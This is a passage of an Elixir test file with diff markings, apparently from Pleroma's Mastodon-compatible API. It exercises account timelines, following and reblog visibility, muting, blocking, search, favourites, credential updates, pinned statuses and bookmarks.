	\|> get("/api/v1/accounts/#{user_one.id}/statuses")

	assert [%{"id" => id}] = json_response(resp, 200)
	assert id == to_string(activity.id)

	resp =
	conn
	\|> assign(:user, user_two)
	\|> get("/api/v1/accounts/#{user_one.id}/statuses")

	assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
	assert id_one == to_string(direct_activity.id)
	assert id_two == to_string(activity.id)

	resp =
	conn
	\|> assign(:user, user_three)
	\|> get("/api/v1/accounts/#{user_one.id}/statuses")

	assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
	assert id_one == to_string(private_activity.id)
	assert id_two == to_string(activity.id)
	end

	test "unimplemented pinned statuses feature", %{conn: conn} do
	note = insert(:note_activity)
	user = User.get_cached_by_ap_id(note.data["actor"])

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")

	assert json_response(conn, 200) == []
	end

	test "gets an users media", %{conn: conn} do
	note = insert(:note_activity)
	user = User.get_cached_by_ap_id(note.data["actor"])

	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	media =
	TwitterAPI.upload(file, user, "json")
	\|> Poison.decode!()

	{:ok, image_post} =
	TwitterAPI.create_status(user, %{"status" => "cofe", "media_ids" => [media["media_id"]]})

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "true"})

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(image_post.id)

	conn =
	build_conn()
	\|> get("/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "1"})

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(image_post.id)
	end

	test "gets a user's statuses without reblogs", %{conn: conn} do
	user = insert(:user)
	{:ok, post} = CommonAPI.post(user, %{"status" => "HI!!!"})
	{:ok, _, _} = CommonAPI.repeat(post.id, user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "true"})

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(post.id)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "1"})

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(post.id)
	end
	end

	describe "user relationships" do
	test "returns the relationships for the current user", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, user} = User.follow(user, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/relationships", %{"id" => [other_user.id]})

	assert [relationship] = json_response(conn, 200)

	assert to_string(other_user.id) == relationship["id"]
	end
	end

	describe "locked accounts" do
	test "/api/v1/follow_requests works" do
	user = insert(:user, %{info: %Pleroma.User.Info{locked: true}})
	other_user = insert(:user)

	{:ok, _activity} = ActivityPub.follow(other_user, user)

	user = User.get_cached_by_id(user.id)
	other_user = User.get_cached_by_id(other_user.id)

	assert User.following?(other_user, user) == false

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> get("/api/v1/follow_requests")

	assert [relationship] = json_response(conn, 200)
	assert to_string(other_user.id) == relationship["id"]
	end

	test "/api/v1/follow_requests/:id/authorize works" do
	user = insert(:user, %{info: %User.Info{locked: true}})
	other_user = insert(:user)

	{:ok, _activity} = ActivityPub.follow(other_user, user)

	user = User.get_cached_by_id(user.id)
	other_user = User.get_cached_by_id(other_user.id)

	assert User.following?(other_user, user) == false

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/follow_requests/#{other_user.id}/authorize")

	assert relationship = json_response(conn, 200)
	assert to_string(other_user.id) == relationship["id"]

	user = User.get_cached_by_id(user.id)
	other_user = User.get_cached_by_id(other_user.id)

	assert User.following?(other_user, user) == true
	end

	test "verify_credentials", %{conn: conn} do
	user = insert(:user, %{info: %Pleroma.User.Info{default_scope: "private"}})

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/verify_credentials")

	assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200)
	assert id == to_string(user.id)
	end

	test "/api/v1/follow_requests/:id/reject works" do
	user = insert(:user, %{info: %Pleroma.User.Info{locked: true}})
	other_user = insert(:user)

	{:ok, _activity} = ActivityPub.follow(other_user, user)

	user = User.get_cached_by_id(user.id)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/follow_requests/#{other_user.id}/reject")

	assert relationship = json_response(conn, 200)
	assert to_string(other_user.id) == relationship["id"]

	user = User.get_cached_by_id(user.id)
	other_user = User.get_cached_by_id(other_user.id)

	assert User.following?(other_user, user) == false
	end
	end

	test "account fetching", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}")

	assert %{"id" => id} = json_response(conn, 200)
	assert id == to_string(user.id)

	conn =
	build_conn()
	\|> get("/api/v1/accounts/-1")

	assert %{"error" => "Can't find user"} = json_response(conn, 404)
	end

	test "account fetching also works nickname", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.nickname}")

	assert %{"id" => id} = json_response(conn, 200)
	assert id == user.id
	end

	test "media upload", %{conn: conn} do
	file = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	desc = "Description of the image"

	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/media", %{"file" => file, "description" => desc})

	assert media = json_response(conn, 200)

	assert media["type"] == "image"
	assert media["description"] == desc
	assert media["id"]

	object = Repo.get(Object, media["id"])
	assert object.data["actor"] == User.ap_id(user)
	end

	test "hashtag timeline", %{conn: conn} do
	following = insert(:user)

	capture_log(fn ->
	{:ok, activity} = TwitterAPI.create_status(following, %{"status" => "test #2hu"})

	{:ok, [_activity]} =
	OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")

	nconn =
	conn
	\|> get("/api/v1/timelines/tag/2hu")

	assert [%{"id" => id}] = json_response(nconn, 200)

	assert id == to_string(activity.id)

	# works for different capitalization too
	nconn =
	conn
	\|> get("/api/v1/timelines/tag/2HU")

	assert [%{"id" => id}] = json_response(nconn, 200)

	assert id == to_string(activity.id)
	end)
	end

	test "multi-hashtag timeline", %{conn: conn} do
	user = insert(:user)

	{:ok, activity_test} = CommonAPI.post(user, %{"status" => "#test"})
	{:ok, activity_test1} = CommonAPI.post(user, %{"status" => "#test #test1"})
	{:ok, activity_none} = CommonAPI.post(user, %{"status" => "#test #none"})

	any_test =
	conn
	\|> get("/api/v1/timelines/tag/test", %{"any" => ["test1"]})

	[status_none, status_test1, status_test] = json_response(any_test, 200)

	assert to_string(activity_test.id) == status_test["id"]
	assert to_string(activity_test1.id) == status_test1["id"]
	assert to_string(activity_none.id) == status_none["id"]

	restricted_test =
	conn
	\|> get("/api/v1/timelines/tag/test", %{"all" => ["test1"], "none" => ["none"]})

	assert [status_test1] == json_response(restricted_test, 200)

	all_test = conn \|> get("/api/v1/timelines/tag/test", %{"all" => ["none"]})

	assert [status_none] == json_response(all_test, 200)
	end

	test "getting followers", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, user} = User.follow(user, other_user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{other_user.id}/followers")

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(user.id)
	end

	test "getting followers, hide_followers", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user, %{info: %{hide_followers: true}})
	{:ok, _user} = User.follow(user, other_user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{other_user.id}/followers")

	assert [] == json_response(conn, 200)
	end

	test "getting followers, hide_followers, same user requesting", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user, %{info: %{hide_followers: true}})
	{:ok, _user} = User.follow(user, other_user)

	conn =
	conn
	\|> assign(:user, other_user)
	\|> get("/api/v1/accounts/#{other_user.id}/followers")

	refute [] == json_response(conn, 200)
	end

	test "getting followers, pagination", %{conn: conn} do
	user = insert(:user)
	follower1 = insert(:user)
	follower2 = insert(:user)
	follower3 = insert(:user)
	{:ok, _} = User.follow(follower1, user)
	{:ok, _} = User.follow(follower2, user)
	{:ok, _} = User.follow(follower3, user)

	conn =
	conn
	\|> assign(:user, user)

	res_conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/followers?since_id=#{follower1.id}")

	assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200)
	assert id3 == follower3.id
	assert id2 == follower2.id

	res_conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/followers?max_id=#{follower3.id}")

	assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200)
	assert id2 == follower2.id
	assert id1 == follower1.id

	res_conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3.id}")

	assert [%{"id" => id2}] = json_response(res_conn, 200)
	assert id2 == follower2.id

	assert [link_header] = get_resp_header(res_conn, "link")
	assert link_header =~ ~r/min_id=#{follower2.id}/
	assert link_header =~ ~r/max_id=#{follower2.id}/
	end

	test "getting following", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)
	{:ok, user} = User.follow(user, other_user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/following")

	assert [%{"id" => id}] = json_response(conn, 200)
	assert id == to_string(other_user.id)
	end

	test "getting following, hide_follows", %{conn: conn} do
	user = insert(:user, %{info: %{hide_follows: true}})
	other_user = insert(:user)
	{:ok, user} = User.follow(user, other_user)

	conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/following")

	assert [] == json_response(conn, 200)
	end

	test "getting following, hide_follows, same user requesting", %{conn: conn} do
	user = insert(:user, %{info: %{hide_follows: true}})
	other_user = insert(:user)
	{:ok, user} = User.follow(user, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/#{user.id}/following")

	refute [] == json_response(conn, 200)
	end

	test "getting following, pagination", %{conn: conn} do
	user = insert(:user)
	following1 = insert(:user)
	following2 = insert(:user)
	following3 = insert(:user)
	{:ok, _} = User.follow(user, following1)
	{:ok, _} = User.follow(user, following2)
	{:ok, _} = User.follow(user, following3)

	conn =
	conn
	\|> assign(:user, user)

	res_conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}")

	assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200)
	assert id3 == following3.id
	assert id2 == following2.id

	res_conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}")

	assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200)
	assert id2 == following2.id
	assert id1 == following1.id

	res_conn =
	conn
	\|> get("/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}")

	assert [%{"id" => id2}] = json_response(res_conn, 200)
	assert id2 == following2.id

	assert [link_header] = get_resp_header(res_conn, "link")
	assert link_header =~ ~r/min_id=#{following2.id}/
	assert link_header =~ ~r/max_id=#{following2.id}/
	end

	test "following / unfollowing a user", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/follow")

	assert %{"id" => _id, "following" => true} = json_response(conn, 200)

	user = User.get_cached_by_id(user.id)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/unfollow")

	assert %{"id" => _id, "following" => false} = json_response(conn, 200)

	user = User.get_cached_by_id(user.id)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/follows", %{"uri" => other_user.nickname})

	assert %{"id" => id} = json_response(conn, 200)
	assert id == to_string(other_user.id)
	end

	+ test "following without reblogs" do
	+ follower = insert(:user)
	+ followed = insert(:user)
	+ other_user = insert(:user)
	+
	+ conn =
	+ build_conn()
	+ \|> assign(:user, follower)
	+ \|> post("/api/v1/accounts/#{followed.id}/follow?reblogs=false")
	+
	+ assert %{"showing_reblogs" => false} = json_response(conn, 200)
	+
	+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hey"})
	+ {:ok, reblog, _} = CommonAPI.repeat(activity.id, followed)
	+
	+ conn =
	+ build_conn()
	+ \|> assign(:user, User.get_cached_by_id(follower.id))
	+ \|> get("/api/v1/timelines/home")
	+
	+ assert [] == json_response(conn, 200)
	+
	+ conn =
	+ build_conn()
	+ \|> assign(:user, follower)
	+ \|> post("/api/v1/accounts/#{followed.id}/follow?reblogs=true")
	+
	+ assert %{"showing_reblogs" => true} = json_response(conn, 200)
	+
	+ conn =
	+ build_conn()
	+ \|> assign(:user, User.get_cached_by_id(follower.id))
	+ \|> get("/api/v1/timelines/home")
	+
	+ expected_activity_id = reblog.id
	+ assert [%{"id" => ^expected_activity_id}] = json_response(conn, 200)
	+ end
	+
	test "following / unfollowing errors" do
	user = insert(:user)

	conn =
	build_conn()
	\|> assign(:user, user)

	# self follow
	conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow")
	assert %{"error" => "Record not found"} = json_response(conn_res, 404)

	# self unfollow
	user = User.get_cached_by_id(user.id)
	conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow")
	assert %{"error" => "Record not found"} = json_response(conn_res, 404)

	# self follow via uri
	user = User.get_cached_by_id(user.id)
	conn_res = post(conn, "/api/v1/follows", %{"uri" => user.nickname})
	assert %{"error" => "Record not found"} = json_response(conn_res, 404)

	# follow non existing user
	conn_res = post(conn, "/api/v1/accounts/doesntexist/follow")
	assert %{"error" => "Record not found"} = json_response(conn_res, 404)

	# follow non existing user via uri
	conn_res = post(conn, "/api/v1/follows", %{"uri" => "doesntexist"})
	assert %{"error" => "Record not found"} = json_response(conn_res, 404)

	# unfollow non existing user
	conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow")
	assert %{"error" => "Record not found"} = json_response(conn_res, 404)
	end

	test "muting / unmuting a user", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/mute")

	assert %{"id" => _id, "muting" => true} = json_response(conn, 200)

	user = User.get_cached_by_id(user.id)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/unmute")

	assert %{"id" => _id, "muting" => false} = json_response(conn, 200)
	end

	test "subscribing / unsubscribing to a user", %{conn: conn} do
	user = insert(:user)
	subscription_target = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/pleroma/accounts/#{subscription_target.id}/subscribe")

	assert %{"id" => _id, "subscribing" => true} = json_response(conn, 200)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/pleroma/accounts/#{subscription_target.id}/unsubscribe")

	assert %{"id" => _id, "subscribing" => false} = json_response(conn, 200)
	end

	test "getting a list of mutes", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, user} = User.mute(user, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/mutes")

	other_user_id = to_string(other_user.id)
	assert [%{"id" => ^other_user_id}] = json_response(conn, 200)
	end

	test "blocking / unblocking a user", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/block")

	assert %{"id" => _id, "blocking" => true} = json_response(conn, 200)

	user = User.get_cached_by_id(user.id)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> post("/api/v1/accounts/#{other_user.id}/unblock")

	assert %{"id" => _id, "blocking" => false} = json_response(conn, 200)
	end

	test "getting a list of blocks", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, user} = User.block(user, other_user)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/blocks")

	other_user_id = to_string(other_user.id)
	assert [%{"id" => ^other_user_id}] = json_response(conn, 200)
	end

	test "blocking / unblocking a domain", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user, %{ap_id: "https://dogwhistle.zone/@pundit"})

	conn =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})

	assert %{} = json_response(conn, 200)
	user = User.get_cached_by_ap_id(user.ap_id)
	assert User.blocks?(user, other_user)

	conn =
	build_conn()
	\|> assign(:user, user)
	\|> delete("/api/v1/domain_blocks", %{"domain" => "dogwhistle.zone"})

	assert %{} = json_response(conn, 200)
	user = User.get_cached_by_ap_id(user.ap_id)
	refute User.blocks?(user, other_user)
	end

	test "getting a list of domain blocks", %{conn: conn} do
	user = insert(:user)

	{:ok, user} = User.block_domain(user, "bad.site")
	{:ok, user} = User.block_domain(user, "even.worse.site")

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/domain_blocks")

	domain_blocks = json_response(conn, 200)

	assert "bad.site" in domain_blocks
	assert "even.worse.site" in domain_blocks
	end

	test "unimplemented follow_requests, blocks, domain blocks" do
	user = insert(:user)

	["blocks", "domain_blocks", "follow_requests"]
	\|> Enum.each(fn endpoint ->
	conn =
	build_conn()
	\|> assign(:user, user)
	\|> get("/api/v1/#{endpoint}")

	assert [] = json_response(conn, 200)
	end)
	end

	test "account search", %{conn: conn} do
	user = insert(:user)
	user_two = insert(:user, %{nickname: "shp@shitposter.club"})
	user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"})

	results =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/search", %{"q" => "shp"})
	\|> json_response(200)

	result_ids = for result <- results, do: result["acct"]

	assert user_two.nickname in result_ids
	assert user_three.nickname in result_ids

	results =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/search", %{"q" => "2hu"})
	\|> json_response(200)

	result_ids = for result <- results, do: result["acct"]

	assert user_three.nickname in result_ids
	end

	test "search", %{conn: conn} do
	user = insert(:user)
	user_two = insert(:user, %{nickname: "shp@shitposter.club"})
	user_three = insert(:user, %{nickname: "shp@heldscal.la", name: "I love 2hu"})

	{:ok, activity} = CommonAPI.post(user, %{"status" => "This is about 2hu"})

	{:ok, _activity} =
	CommonAPI.post(user, %{
	"status" => "This is about 2hu, but private",
	"visibility" => "private"
	})

	{:ok, _} = CommonAPI.post(user_two, %{"status" => "This isn't"})

	conn =
	conn
	\|> get("/api/v1/search", %{"q" => "2hu"})

	assert results = json_response(conn, 200)

	[account \| _] = results["accounts"]
	assert account["id"] == to_string(user_three.id)

	assert results["hashtags"] == []

	[status] = results["statuses"]
	assert status["id"] == to_string(activity.id)
	end

	test "search fetches remote statuses", %{conn: conn} do
	capture_log(fn ->
	conn =
	conn
	\|> get("/api/v1/search", %{"q" => "https://shitposter.club/notice/2827873"})

	assert results = json_response(conn, 200)

	[status] = results["statuses"]
	assert status["uri"] == "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment"
	end)
	end

	test "search doesn't show statuses that it shouldn't", %{conn: conn} do
	{:ok, activity} =
	CommonAPI.post(insert(:user), %{
	"status" => "This is about 2hu, but private",
	"visibility" => "private"
	})

	capture_log(fn ->
	conn =
	conn
	- \|> get("/api/v1/search", %{"q" => activity.data["object"]["id"]})
	+ \|> get("/api/v1/search", %{"q" => Object.normalize(activity).data["id"]})

	assert results = json_response(conn, 200)

	[] = results["statuses"]
	end)
	end

	test "search fetches remote accounts", %{conn: conn} do
	conn =
	conn
	\|> get("/api/v1/search", %{"q" => "shp@social.heldscal.la", "resolve" => "true"})

	assert results = json_response(conn, 200)
	[account] = results["accounts"]
	assert account["acct"] == "shp@social.heldscal.la"
	end

	test "returns the favorites of a user", %{conn: conn} do
	user = insert(:user)
	other_user = insert(:user)

	{:ok, _} = CommonAPI.post(other_user, %{"status" => "bla"})
	{:ok, activity} = CommonAPI.post(other_user, %{"status" => "traps are happy"})

	{:ok, _, _} = CommonAPI.favorite(activity.id, user)

	first_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/favourites")

	assert [status] = json_response(first_conn, 200)
	assert status["id"] == to_string(activity.id)

	assert [{"link", _link_header}] =
	Enum.filter(first_conn.resp_headers, fn element -> match?({"link", _}, element) end)

	# Honours query params
	{:ok, second_activity} =
	CommonAPI.post(other_user, %{
	"status" =>
	"Trees Are Never Sad Look At Them Every Once In Awhile They're Quite Beautiful."
	})

	{:ok, _, _} = CommonAPI.favorite(second_activity.id, user)

	last_like = status["id"]

	second_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/favourites?since_id=#{last_like}")

	assert [second_status] = json_response(second_conn, 200)
	assert second_status["id"] == to_string(second_activity.id)

	third_conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/favourites?limit=0")

	assert [] = json_response(third_conn, 200)
	end

	describe "updating credentials" do
	test "updates the user's bio", %{conn: conn} do
	user = insert(:user)
	user2 = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{
	"note" => "I drink #cofe with @#{user2.nickname}"
	})

	assert user = json_response(conn, 200)

	assert user["note"] ==
	~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag">#cofe</a> with <span class="h-card"><a data-user=") <>
	user2.id <>
	~s(" class="u-url mention" href=") <>
	user2.ap_id <> ~s(">@<span>) <> user2.nickname <> ~s(</span></a></span>)
	end

	test "updates the user's locking status", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{locked: "true"})

	assert user = json_response(conn, 200)
	assert user["locked"] == true
	end

	test "updates the user's name", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{"display_name" => "markorepairs"})

	assert user = json_response(conn, 200)
	assert user["display_name"] == "markorepairs"
	end

	test "updates the user's avatar", %{conn: conn} do
	user = insert(:user)

	new_avatar = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{"avatar" => new_avatar})

	assert user_response = json_response(conn, 200)
	assert user_response["avatar"] != User.avatar_url(user)
	end

	test "updates the user's banner", %{conn: conn} do
	user = insert(:user)

	new_header = %Plug.Upload{
	content_type: "image/jpg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	conn =
	conn
	\|> assign(:user, user)
	\|> patch("/api/v1/accounts/update_credentials", %{"header" => new_header})

	assert user_response = json_response(conn, 200)
	assert user_response["header"] != User.banner_url(user)
	end

	test "requires 'write' permission", %{conn: conn} do
	token1 = insert(:oauth_token, scopes: ["read"])
	token2 = insert(:oauth_token, scopes: ["write", "follow"])

	for token <- [token1, token2] do
	conn =
	conn
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> patch("/api/v1/accounts/update_credentials", %{})

	if token == token1 do
	assert %{"error" => "Insufficient permissions: write."} == json_response(conn, 403)
	else
	assert json_response(conn, 200)
	end
	end
	end
	end

	test "get instance information", %{conn: conn} do
	conn = get(conn, "/api/v1/instance")
	assert result = json_response(conn, 200)

	email = Pleroma.Config.get([:instance, :email])
	# Note: not checking for "max_toot_chars" since it's optional
	assert %{
	"uri" => _,
	"title" => _,
	"description" => _,
	"version" => _,
	"email" => from_config_email,
	"urls" => %{
	"streaming_api" => _
	},
	"stats" => _,
	"thumbnail" => _,
	"languages" => _,
	"registrations" => _
	} = result

	assert email == from_config_email
	end

	test "get instance stats", %{conn: conn} do
	user = insert(:user, %{local: true})

	user2 = insert(:user, %{local: true})
	{:ok, _user2} = User.deactivate(user2, !user2.info.deactivated)

	insert(:user, %{local: false, nickname: "u@peer1.com"})
	insert(:user, %{local: false, nickname: "u@peer2.com"})

	{:ok, _} = TwitterAPI.create_status(user, %{"status" => "cofe"})

	# Stats should count users with missing or nil `info.deactivated` value
	user = User.get_cached_by_id(user.id)
	info_change = Changeset.change(user.info, %{deactivated: nil})

	{:ok, _user} =
	user
	\|> Changeset.change()
	\|> Changeset.put_embed(:info, info_change)
	\|> User.update_and_set_cache()

	Pleroma.Stats.update_stats()

	conn = get(conn, "/api/v1/instance")

	assert result = json_response(conn, 200)

	stats = result["stats"]

	assert stats
	assert stats["user_count"] == 1
	assert stats["status_count"] == 1
	assert stats["domain_count"] == 2
	end

	test "get peers", %{conn: conn} do
	insert(:user, %{local: false, nickname: "u@peer1.com"})
	insert(:user, %{local: false, nickname: "u@peer2.com"})

	Pleroma.Stats.update_stats()

	conn = get(conn, "/api/v1/instance/peers")

	assert result = json_response(conn, 200)

	assert ["peer1.com", "peer2.com"] == Enum.sort(result)
	end

	test "put settings", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> put("/api/web/settings", %{"data" => %{"programming" => "socks"}})

	assert _result = json_response(conn, 200)

	user = User.get_cached_by_ap_id(user.ap_id)
	assert user.info.settings == %{"programming" => "socks"}
	end

	describe "pinned statuses" do
	setup do
	Pleroma.Config.put([:instance, :max_pinned_statuses], 1)

	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"})

	[user: user, activity: activity]
	end

	test "returns pinned statuses", %{conn: conn, user: user, activity: activity} do
	{:ok, _} = CommonAPI.pin(activity.id, user)

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
	\|> json_response(200)

	id_str = to_string(activity.id)

	assert [%{"id" => ^id_str, "pinned" => true}] = result
	end

	test "pin status", %{conn: conn, user: user, activity: activity} do
	id_str = to_string(activity.id)

	assert %{"id" => ^id_str, "pinned" => true} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/pin")
	\|> json_response(200)

	assert [%{"id" => ^id_str, "pinned" => true}] =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
	\|> json_response(200)
	end

	test "unpin status", %{conn: conn, user: user, activity: activity} do
	{:ok, _} = CommonAPI.pin(activity.id, user)

	id_str = to_string(activity.id)
	user = refresh_record(user)

	assert %{"id" => ^id_str, "pinned" => false} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/unpin")
	\|> json_response(200)

	assert [] =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
	\|> json_response(200)
	end

	test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do
	{:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"})

	id_str_one = to_string(activity_one.id)

	assert %{"id" => ^id_str_one, "pinned" => true} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{id_str_one}/pin")
	\|> json_response(200)

	user = refresh_record(user)

	assert %{"error" => "You have already pinned the maximum number of statuses"} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity_two.id}/pin")
	\|> json_response(400)
	end

	test "Status rich-media Card", %{conn: conn, user: user} do
	Pleroma.Config.put([:rich_media, :enabled], true)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "http://example.com/ogp"})

	response =
	conn
	\|> get("/api/v1/statuses/#{activity.id}/card")
	\|> json_response(200)

	assert response == %{
	"image" => "http://ia.media-imdb.com/images/rock.jpg",
	"provider_name" => "www.imdb.com",
	"provider_url" => "http://www.imdb.com",
	"title" => "The Rock",
	"type" => "link",
	"url" => "http://www.imdb.com/title/tt0117500/",
	"description" => nil,
	"pleroma" => %{
	"opengraph" => %{
	"image" => "http://ia.media-imdb.com/images/rock.jpg",
	"title" => "The Rock",
	"type" => "video.movie",
	"url" => "http://www.imdb.com/title/tt0117500/"
	}
	}
	}

	# works with private posts
	{:ok, activity} =
	CommonAPI.post(user, %{"status" => "http://example.com/ogp", "visibility" => "direct"})

	response_two =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/statuses/#{activity.id}/card")
	\|> json_response(200)

	assert response_two == response

	Pleroma.Config.put([:rich_media, :enabled], false)
	end
	end

	test "bookmarks" do
	user = insert(:user)
	for_user = insert(:user)

	{:ok, activity1} =
	CommonAPI.post(user, %{
	"status" => "heweoo?"
	})

	{:ok, activity2} =
	CommonAPI.post(user, %{
	"status" => "heweoo!"
	})

	response1 =
	build_conn()
	\|> assign(:user, for_user)
	\|> post("/api/v1/statuses/#{activity1.id}/bookmark")

	assert json_response(response1, 200)["bookmarked"] == true

	response2 =
	build_conn()
	\|> assign(:user, for_user)
	\|> post("/api/v1/statuses/#{activity2.id}/bookmark")

	assert json_response(response2, 200)["bookmarked"] == true

	bookmarks =
	build_conn()
	\|> assign(:user, for_user)
	\|> get("/api/v1/bookmarks")

	assert [json_response(response2, 200), json_response(response1, 200)] ==
	json_response(bookmarks, 200)

	response1 =
	build_conn()
	\|> assign(:user, for_user)
	\|> post("/api/v1/statuses/#{activity1.id}/unbookmark")

	assert json_response(response1, 200)["bookmarked"] == false

	bookmarks =
	build_conn()
	\|> assign(:user, for_user)
	\|> get("/api/v1/bookmarks")

	assert [json_response(response2, 200)] == json_response(bookmarks, 200)
	end

	describe "conversation muting" do
	setup do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{"status" => "HIE"})

	[user: user, activity: activity]
	end

	test "mute conversation", %{conn: conn, user: user, activity: activity} do
	id_str = to_string(activity.id)

	assert %{"id" => ^id_str, "muted" => true} =
	conn
	\|> assign(:user, user)
	\|> post("/api/v1/statuses/#{activity.id}/mute")
	\|> json_response(200)
	end

	test "unmute conversation", %{conn: conn, user: user, activity: activity} do
	{:ok, _} = CommonAPI.add_mute(user, activity)

	id_str = to_string(activity.id)
